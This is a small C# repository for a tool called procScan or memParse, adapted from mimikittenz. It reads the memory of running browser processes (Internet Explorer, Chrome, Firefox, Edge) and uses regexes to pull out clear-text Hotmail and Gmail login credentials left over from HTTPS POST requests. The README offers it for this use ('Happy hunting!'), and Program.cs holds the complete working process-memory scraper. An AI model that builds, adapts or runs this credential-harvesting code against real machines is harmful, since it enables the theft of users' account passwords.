├── .gitignore ├── README.md ├── procScan.sln └── procScan ├── Program.cs ├── Properties └── AssemblyInfo.cs └── procScan.csproj /.gitignore: -------------------------------------------------------------------------------- 1 | .vs/ 2 | procScan/bin/ 3 | procScan/obj/ 4 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # memparse 2 | memParse is intended to recover clear text passwords from memory that have been sent via HTTPS POST login requests 3 | 4 | Capture the POST request in your favourite proxy software, add a regex entry and you're off to the races! 5 | 6 | Happy hunting! 7 | 8 | ex. 9 |
MemProcInspector.AddRegex("GMail", "identifier=.{1,200}");
10 | -------------------------------------------------------------------------------- /procScan.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio 15 4 | VisualStudioVersion = 15.0.27703.2000 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "procScan", "procScan\procScan.csproj", "{EB353F85-B18C-409D-99CE-DBD892BFB750}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Release|Any CPU = Release|Any CPU 12 | EndGlobalSection 13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 14 | {EB353F85-B18C-409D-99CE-DBD892BFB750}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 15 | {EB353F85-B18C-409D-99CE-DBD892BFB750}.Debug|Any CPU.Build.0 = Debug|Any CPU 16 | {EB353F85-B18C-409D-99CE-DBD892BFB750}.Release|Any CPU.ActiveCfg = Release|Any CPU 17 | {EB353F85-B18C-409D-99CE-DBD892BFB750}.Release|Any CPU.Build.0 = Release|Any CPU 18 | EndGlobalSection 19 | GlobalSection(SolutionProperties) = preSolution 20 | HideSolutionNode = FALSE 21 | EndGlobalSection 22 | GlobalSection(ExtensibilityGlobals) = postSolution 23 | SolutionGuid = {9ED02F92-1588-4C98-8ABD-D4E4163F4DBC} 24 | EndGlobalSection 25 | EndGlobal 26 | -------------------------------------------------------------------------------- /procScan/Program.cs: -------------------------------------------------------------------------------- 1 | //adapted from https://github.com/putterpanda/mimikittenz 2 | 3 | using System; 4 | using System.Collections.Generic; 5 | using System.Text; 6 | using System.Diagnostics; 7 | using System.Runtime.InteropServices; 8 | using System.Text.RegularExpressions; 9 | 10 | namespace procScan 11 | { 12 | public class MemProcInspector 13 | { 14 | static MemProcInspector() 15 | { 16 | InitRegexes(); 17 | } 18 | public static void AddRegex(string name, string pattern) 19 | { 20 | regexes.Add(new RegexRecord(name, pattern)); 21 | } 22 | public static List regexes = new List(); 23 | public static List InspectManyProcs(params string[] procNames) 24 | { 25 | List lstMatch = new List(); 26 | string res; 27 | foreach (string procName in procNames) 28 | { 29 | try 30 | { 31 | Process[] procs = Process.GetProcessesByName(procName); 32 | foreach (Process pr in procs) 33 | { 34 | Process process = pr; 35 | res = InspectProc(process, ref lstMatch); 36 | } 37 | } 38 | catch (Exception ex) 39 | { 40 | res = ex.Message; 41 | res = ex.StackTrace; 42 | } 43 | } 44 | List lstToReturn = new List(); 45 | return lstMatch; 46 | } 47 | private static void InitRegexes() 48 | { 49 | regexes.Clear(); 50 | } 51 | private static string InspectProc(Process process, ref List lstMatch) 52 | { 53 | string res; 54 | IntPtr processHandle = MInterop.OpenProcess(MInterop.PROCESS_WM_READ | MInterop.PROCESS_QUERY_INFORMATION, false, process.Id); 55 | if (processHandle.ToInt64() == 0) 56 | { 57 | int err = Marshal.GetLastWin32Error(); 58 | } 59 | res = SearchProc(processHandle, ref lstMatch, process.ProcessName); 60 | MInterop.CloseHandle(processHandle); 61 | return res; 62 | } 63 | private static string SearchProc(IntPtr processHandle, ref List lstMatch, string processName) 64 | { 65 | string res = ""; 66 | MInterop.SYSTEM_INFO si = new MInterop.SYSTEM_INFO(); 67 | MInterop.GetSystemInfo(out si); 68 | long createdSize = 1; 69 | byte[] lpBuffer = new byte[createdSize]; 70 | Int64 total = 0; 71 | long regionStart = si.minimumApplicationAddress.ToInt64(); 72 | bool skipRegion = false; 73 | bool stop = false; 74 | while (regionStart < si.maximumApplicationAddress.ToInt64() && !stop) 75 | { 76 | MInterop.MEMORY_BASIC_INFORMATION memInfo; 77 | long regionRead = 0; 78 | long regionSize; 79 | int resulq = MInterop.VirtualQueryEx(processHandle, (IntPtr)regionStart, out memInfo, (uint)Marshal.SizeOf(typeof(MInterop.MEMORY_BASIC_INFORMATION))); 80 | if (resulq == 0) 81 | { 82 | int err = Marshal.GetLastWin32Error(); 83 | Marshal.ThrowExceptionForHR(err); 84 | break; 85 | } 86 | regionSize = (memInfo.BaseAddress.ToInt64() + memInfo.RegionSize.ToInt64() - regionStart); 87 | if (MInterop.IsDataRegion(memInfo) == false) 88 | { 89 | } 90 | if (skipRegion) 91 | { 92 | skipRegion = false; 93 | } 94 | else 95 | if (MInterop.IsDataRegion(memInfo)) 96 | { 97 | if (createdSize < regionSize) 98 | { 99 | createdSize = regionSize; 100 | lpBuffer = new byte[createdSize]; 101 | } 102 | bool resRead = false; 103 | try 104 | { 105 | resRead = MInterop.ReadProcessMemory(processHandle, new IntPtr(regionStart), lpBuffer, regionSize, out regionRead); 106 | } 107 | catch 108 | { 109 | resRead = false; 110 | } 111 | regionSize = (int)regionRead; 112 | if (!resRead) 113 | { 114 | skipRegion = true; 115 | } 116 | if (resRead) 117 | { 118 | List strsTolook = new List(); 119 | string str1 = UnicodeEncoding.Unicode.GetString(lpBuffer, 0, (int)regionRead); 120 | string str11 = UnicodeEncoding.Unicode.GetString(lpBuffer, 0 + 1, (int)regionRead - 1); 121 | string str4 = UnicodeEncoding.ASCII.GetString(lpBuffer, 0, (int)regionRead); 122 | strsTolook.Add(str1); 123 | strsTolook.Add(str4); 124 | strsTolook.Add(str11); 125 | foreach (RegexRecord regexRec in regexes) 126 | { 127 | foreach (string str in strsTolook) 128 | { 129 | MatchCollection matches3 = regexRec.Regex.Matches(str); 130 | if (matches3.Count > 0) 131 | { 132 | for (int i = 0; i < matches3.Count; i++) 133 | if (matches3[i].Success && IsMatchesContain(lstMatch, matches3[i].Value) == false && IsRegexRecordsContain(matches3[i].Value) == false) 134 | { 135 | MatchInfo m = new MatchInfo(); 136 | m.PatternName = regexRec.Name; 137 | m.PatternMatch = matches3[i].Value; 138 | m.ProcessName = processName; 139 | lstMatch.Add(m); 140 | } 141 | res = matches3[0].Value; 142 | } 143 | } 144 | } 145 | } 146 | total += regionSize; 147 | } 148 | regionStart += regionSize; 149 | } 150 | return res; 151 | } 152 | private static bool IsMatchesContain(List matches, string val) 153 | { 154 | foreach (MatchInfo item in matches) 155 | { 156 | if (string.Compare(item.PatternMatch, val) == 0) 157 | return true; 158 | } 159 | return false; 160 | } 161 | private static bool IsRegexRecordsContain(string pattern) 162 | { 163 | foreach (RegexRecord item in regexes) 164 | { 165 | if (string.Compare(item.Pattern, pattern) == 0) 166 | return true; 167 | } 168 | return false; 169 | } 170 | const int MAX_PREFIX_LENGTH = 1; 171 | const int MAX_MATCH_LENGTH = 1024; 172 | const int DEFAULT_SEARCH_BUFFER_SIZE = (10 * 1024 * 1024); 173 | const int MAX_SEARCH_BUFFER_SIZE = (25 * 1024 * 1024); 174 | } 175 | public class MatchInfo 176 | { 177 | public string PatternName; 178 | public string PatternMatch; 179 | public string ProcessName; 180 | } 181 | public class RegexRecord 182 | { 183 | Regex mRegex; 184 | protected RegexRecord() 185 | { 186 | } 187 | public RegexRecord(string name, string pattern) 188 | { 189 | Name = name; 190 | Pattern = pattern; 191 | mRegex = new Regex(pattern); 192 | } 193 | public Regex Regex { get { return mRegex; } } 194 | public string Name; 195 | public string Pattern; 196 | } 197 | public class MInterop 198 | { 199 | [DllImport("kernel32.dll", SetLastError = true)] 200 | [return: MarshalAs(UnmanagedType.Bool)] 201 | public static extern bool CloseHandle(IntPtr hObject); 202 | [DllImport("kernel32.dll", SetLastError = true)] 203 | public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId); 204 | [DllImport("kernel32.dll", SetLastError = true)] 205 | public static extern bool ReadProcessMemory(IntPtr hProcess, 206 | IntPtr lpBaseAddress, byte[] lpBuffer, long dwSize, out long lpNumberOfBytesRead); 207 | public const int PROCESS_WM_READ = 0x0010; 208 | public const int PROCESS_QUERY_INFORMATION = 0x00000400; 209 | [DllImport("kernel32.dll", SetLastError = true)] 210 | public static extern int VirtualQueryEx(IntPtr hProcess, IntPtr lpAddress, out MEMORY_BASIC_INFORMATION lpBuffer, uint dwLength); 211 | [StructLayout(LayoutKind.Sequential)] 212 | 213 | public struct MEMORY_BASIC_INFORMATION 214 | { 215 | public IntPtr BaseAddress; 216 | public IntPtr AllocationBase; 217 | public uint AllocationProtect; 218 | public short aligment; 219 | public IntPtr RegionSize; 220 | public uint State; 221 | public uint Protect; 222 | public uint Type; 223 | public short aligment2; 224 | } 225 | public enum AllocationProtect : uint 226 | { 227 | PAGE_EXECUTE = 0x00000010, 228 | PAGE_EXECUTE_READ = 0x00000020, 229 | PAGE_EXECUTE_READWRITE = 0x00000040, 230 | PAGE_EXECUTE_WRITECOPY = 0x00000080, 231 | PAGE_NOACCESS = 0x00000001, 232 | PAGE_READONLY = 0x00000002, 233 | PAGE_READWRITE = 0x00000004, 234 | PAGE_WRITECOPY = 0x00000008, 235 | PAGE_GUARD = 0x00000100, 236 | PAGE_NOCACHE = 0x00000200, 237 | PAGE_WRITECOMBINE = 0x00000400 238 | } 239 | [StructLayout(LayoutKind.Sequential)] 240 | public struct SYSTEM_INFO 241 | { 242 | public ushort processorArchitecture; 243 | ushort reserved; 244 | public uint pageSize; 245 | public IntPtr minimumApplicationAddress; 246 | public IntPtr maximumApplicationAddress; 247 | public IntPtr activeProcessorMask; 248 | public uint numberOfProcessors; 249 | public uint processorType; 250 | public uint allocationGranularity; 251 | public ushort processorLevel; 252 | public ushort processorRevision; 253 | } 254 | [DllImport("kernel32.dll")] 255 | public static extern void GetSystemInfo(out SYSTEM_INFO lpSystemInfo); 256 | public enum StateEnum : uint 257 | { 258 | MEM_COMMIT = 0x1000, 259 | MEM_FREE = 0x10000, 260 | MEM_RESERVE = 0x2000 261 | } 262 | internal static bool IsDataRegion(MEMORY_BASIC_INFORMATION memInfo) 263 | { 264 | bool res = 265 | (memInfo.State & (uint)StateEnum.MEM_COMMIT) != 0 && 266 | (memInfo.Protect & ((uint)AllocationProtect.PAGE_NOACCESS | (uint)AllocationProtect.PAGE_GUARD)) == 0 267 | && 268 | (memInfo.Protect & ((uint)AllocationProtect.PAGE_READONLY | (uint)AllocationProtect.PAGE_READWRITE | 269 | (uint)AllocationProtect.PAGE_EXECUTE_READ | (uint)AllocationProtect.PAGE_EXECUTE_READWRITE | (uint)AllocationProtect.PAGE_EXECUTE_WRITECOPY)) != 0; 270 | return res; 271 | } 272 | } 273 | public class ExecMe 274 | { 275 | static void Main(string[] args) 276 | { 277 | MemProcInspector.AddRegex("Hotmail", "&loginfmt=.{1,100}&passwd=.{1,25}"); 278 | MemProcInspector.AddRegex("GMail", "identifier=.{1,200}"); 279 | List matches = MemProcInspector.InspectManyProcs("iexplore", "chrome", "firefox", "microsoftedge", "microsoftedgecp"); 280 | foreach (MatchInfo s in matches) 281 | { 282 | Console.WriteLine(s.ProcessName + "," + s.PatternName + "," + s.PatternMatch); 283 | } 284 | 285 | } 286 | } 287 | } -------------------------------------------------------------------------------- /procScan/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("procScan")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("procScan")] 13 | [assembly: AssemblyCopyright("Copyright © 2019")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("eb353f85-b18c-409d-99ce-dbd892bfb750")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /procScan/procScan.csproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {EB353F85-B18C-409D-99CE-DBD892BFB750} 8 | Exe 9 | procScan 10 | procScan 11 | v4.0 12 | 512 13 | 14 | 15 | AnyCPU 16 | true 17 | full 18 | false 19 | bin\Debug\ 20 | DEBUG;TRACE 21 | prompt 22 | 4 23 | 24 | 25 | AnyCPU 26 | pdbonly 27 | true 28 | bin\Release\ 29 | TRACE 30 | prompt 31 | 4 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | --------------------------------------------------------------------------------